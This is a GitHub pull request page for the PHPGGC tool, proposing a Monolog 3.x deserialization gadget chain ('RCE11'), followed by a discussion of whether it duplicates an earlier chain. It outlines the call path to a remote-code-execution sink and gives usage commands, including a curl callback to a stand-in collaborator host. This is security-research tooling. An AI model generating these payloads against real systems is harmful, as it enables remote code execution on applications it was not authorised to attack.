Skip to content

Monolog/RCE11: FingersCrossedHandler processors chain (3.0.0–3.10.0+)&PHP 8.4.16#230

Open
Fractlord wants to merge 1 commit into
ambionics:masterfrom
Fractlord:monolog-rce11
Open

Monolog/RCE11: FingersCrossedHandler processors chain (3.0.0–3.10.0+)&PHP 8.4.16#230
Fractlord wants to merge 1 commit into
ambionics:masterfrom
Fractlord:monolog-rce11

Conversation

@Fractlord
Copy link
Copy Markdown

FingersCrossedHandler::__destruct()
  → close()
  → flushBuffer()
    → passthruLevel != null → buffer filtered (record level >= Debug → passes)
    → getHandler() → $this (self-referencing HandlerInterface)
    → $this->handleBatch($buffer)
      → $this->handle($record)
        → processRecord($record)
          → get_object_vars(LogRecord)    // returns assoc array of all properties
          → end(array)                    // returns last value (formatted = <parameter>)
          → $function(<parameter>)        // user-selected sink — RCE

Key properties

  • Sink is user-selectable — the function passed to phpggc becomes the final processor. Works with system, exec, passthru, shell_exec, or any callable accepting a single string.
  • No additional dependencies — only Monolog core classes (FingersCrossedHandler, LogRecord, Level enum).
  • Covers the entire 3.x line — confirmed on 3.0.0 through 3.10.0 (12/12 versions).
  • PHP 8.1+ compatible — tested on PHP 8.4.16. Uses readonly-safe property initialization via __construct stubs.

Compatibility matrix

Tested with test-gc-compatibility.py on PHP 8.4.16:

monolog/monolog Package Monolog/RCE11
3.0.0 OK OK
3.1.0 OK OK
3.2.0 OK OK
3.3.0 OK OK
3.4.0 OK OK
3.5.0 OK OK
3.6.0 OK OK
3.7.0 OK OK
3.8.0 OK OK
3.8.1 OK OK
3.9.0 OK OK
3.10.0 OK OK
--test-payload: SUCCESS: Payload triggered !

Difference from existing Monolog 3.x chains

  • RCE8/RCE9 target 3.0.0–3.1.0 and rely on SyslogUdpHandler / BufferHandler + ProcessHandler.
  • RCE11 works across the full 3.x range (3.0.0–3.10.0+) using only FingersCrossedHandler's processor loop, with no reliance on handlers that were refactored or removed in later 3.x releases.

Usage

./phpggc Monolog/RCE11 system id
./phpggc Monolog/RCE11 exec 'curl http://collaborator.example'

@Fractlord Fractlord changed the title Monolog/RCE11: FingersCrossedHandler processors chain (3.0.0–3.10.0+) Monolog/RCE11: FingersCrossedHandler processors chain (3.0.0–3.10.0+)&PHP 8.4.16 Apr 11, 2026
@mir-hossein
Copy link
Copy Markdown
Contributor

Hello @Fractlord ,

I'm mirhossein, the author of Monolog/RCE8,9.

You referred to RCE8 and RCE9, and as a result I will provide explanations on several topics.

RCE8/RCE9 target 3.0.0–3.1.0

RCE8 and RCE9 work on 3.0.0-3.10.0+

RCE8/RCE9 target 3.0.0–3.1.0 and rely on SyslogUdpHandler / BufferHandler + ProcessHandler.

RCE8 is based on GroupHandler and BufferHandler.
RCE9 is based on FingersCrossedHandler.


This GC is exactly similar to Monolog/RCE9. I removed unnecessary properties to keep the payload smaller.
If you compare RCE9 and your GC, you will see your GC will generate ~2x bigger payloads.
For example, the payload size for system id is 303 bytes for RCE9 and 594 bytes for your GC.

Also, please take a look at this PR. I had renamed $mixed to $formatted and updated the versions months ago (9 Jun 2025) but the PR hasn't been merged to PHPGGC yet.

Please remove require_once __DIR__ . '/gadgets.php'; from chain.php, because this will cause an error if you try to test Monolog/RCE9.


Respectfully, I think this GC is a duplicate of Monolog/RCE9. If you think I’m wrong, please let me know.

Good luck.

@Fractlord
Copy link
Copy Markdown
Author

Hello @mir-hossein , thank you for your message as i really appreciate it.

First, I want to say I have a lot of respect for you as the author of the earlier Monolog chains as they were part of what motivated me to contribute here, so thank you for that.

You are correct this is not a new gadget family. It follows the same RCE9-style approach (the same handler and the same get_object_vars → end → function-call idea).

My goal was not to invent a different primitive. It came from testing on Monolog 3.9 in a real production environment. The payloads produced by stock PHPGGC RCE8/RCE9 did not work for me, whereas a generator that stores the command in formatted and matches Monolog 3.9’s LogRecord field layout did. That lines up with what you said about $mixed vs $formatted, and with PR #218 not being merged , I had not seen that PR when I opened mine.

Even if #218 had already been merged, I would still point out one intentional difference, in my opinion, the builder mentioned here is more verbose because it tries to mirror Monolog 3.9’s structure much more closely. That can help on pickier runtimes (for example PHP 8.x + Monolog 3.9’s LogRecord), where a minimal stub might fail at the cost of a larger serialized payload.(That trade-off mattered less for my target than reliability.)

I’m happy to align with whatever the maintainers prefer , for example closing this in favour of fixing/extending RCE9 once #218 lands, or adjusting the PR based on your guidance.(that line should indeed be removed).

@mir-hossein
Copy link
Copy Markdown
Contributor

Hello,

Thank you for your explanation. I just wanted to provide some clarification.

I think, current Monolog/RCE9 failed on your target because they had set a custom error handler. (something regular in Frameworks and ...)

I guess, the deprecation triggered the error handler and the handler stopped the execution. It's the reason that current RCE9 failed on your target.

I expect #218 to solve the problem. I tested #218 Monolog/RCE9 on (PHP 8.4.18 + Monolog 3.9) and worked for me.

Also, I tested for error handler presence, older (current) RCE9 failed but #218 RCE9 worked.


About removing unnecessary properties:

Current PHP engines allow us to use uninitialized properties and also, according to the maintainers' recommendations.

Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.

EDIT is required: (parameters -> properties)

Their recommendation is conditional but works even if a property doesn't have a default value. I haven't seen any reports of gadgets failing due to default values ​​in the past years, but I'm NOT sure about later versions of PHP.

I agree with you that in most cases, reliability is more important than payload size.


The internet has been cut off by the government in Iran for about two months, netblocks report, and my limited access to the internet is unstable.

I will probably no longer have access to GitHub, Gmail and etc.

I wish the best for the maintainers, contributors, and you.

Regards

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants